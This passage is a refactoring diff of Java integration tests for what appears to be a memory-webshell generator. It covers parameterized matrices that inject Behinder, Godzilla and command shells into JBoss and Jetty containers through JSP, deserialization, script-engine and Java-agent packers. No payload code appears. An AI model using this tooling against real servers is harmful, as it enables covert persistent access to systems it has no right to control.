+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -77,7 +77,7 @@ public class Jboss423ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss510ContainerTest.java

@@ -1,10 +1,9 @@
 package com.reajason.javaweb.integration.jbossas;
 
-import com.reajason.javaweb.memshell.JbossShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -46,28 +45,28 @@ public class Jboss510ContainerTest {
         return Stream.of(
 //                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),  // java.net.SocketTimeoutException: Read timed out
 //                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
 //                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
 //                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
 //                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
 //                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
 //                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
 //                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -80,7 +79,7 @@ public class Jboss510ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss610ContainerTest.java

@@ -1,10 +1,9 @@
 package com.reajason.javaweb.integration.jbossas;
 
-import com.reajason.javaweb.memshell.JbossShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,30 +42,30 @@ public class Jboss610ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -78,7 +77,7 @@ public class Jboss610ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbossas/Jboss711ContainerTest.java

@@ -1,10 +1,9 @@
 package com.reajason.javaweb.integration.jbossas;
 
-import com.reajason.javaweb.memshell.JbossShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -46,21 +45,21 @@ public class Jboss711ContainerTest {
      */
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
 
         );
     }
@@ -73,7 +72,7 @@ public class Jboss711ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.JBossAS, shellType, shellTool, Opcodes.V1_7, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap6ContainerTest.java

@@ -1,10 +1,9 @@
 package com.reajason.javaweb.integration.jbosseap;
 
-import com.reajason.javaweb.memshell.JbossShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,21 +42,21 @@ public class JbossEap6ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -69,7 +68,7 @@ public class JbossEap6ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.JBossEAP6, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jbosseap/JbossEap7ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.UndertowShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -43,27 +43,27 @@ public class JbossEap7ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar)
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Godzilla, Packers.AgentJar)
         );
     }
 
@@ -75,7 +75,7 @@ public class JbossEap7ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.JBossEAP7, shellType, shellTool, Opcodes.V1_6, packer, container);
     }
 }

integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty10ContainerTest.java

@@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.JettyShell;
 import com.reajason.javaweb.memshell.config.Constants;
 import com.reajason.javaweb.memshell.config.Server;
 import com.reajason.javaweb.memshell.config.ShellTool;
-import com.reajason.javaweb.memshell.packer.Packer;
+import com.reajason.javaweb.memshell.packer.Packers;
 import lombok.extern.slf4j.Slf4j;
 import net.bytebuddy.jar.asm.Opcodes;
 import org.junit.jupiter.api.AfterAll;
@@ -42,27 +42,27 @@ public class Jetty10ContainerTest {
 
     static Stream<Arguments> casesProvider() {
         return Stream.of(
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
-                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
-                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.AgentJar));
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
+                arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Command, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Behinder, Packers.AgentJar),
+                arguments(imageName, JettyShell.AGENT_HANDLER, ShellTool.Godzilla, Packers.AgentJar));
     }
 
     @AfterAll
@@ -73,7 +73,7 @@ public class Jetty10ContainerTest {
 
     @ParameterizedTest(name = "{0}|{1}{2}|{3}")
     @MethodSource("casesProvider")
-    void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
+    void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
         testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V11, packer, container);
     }
 }

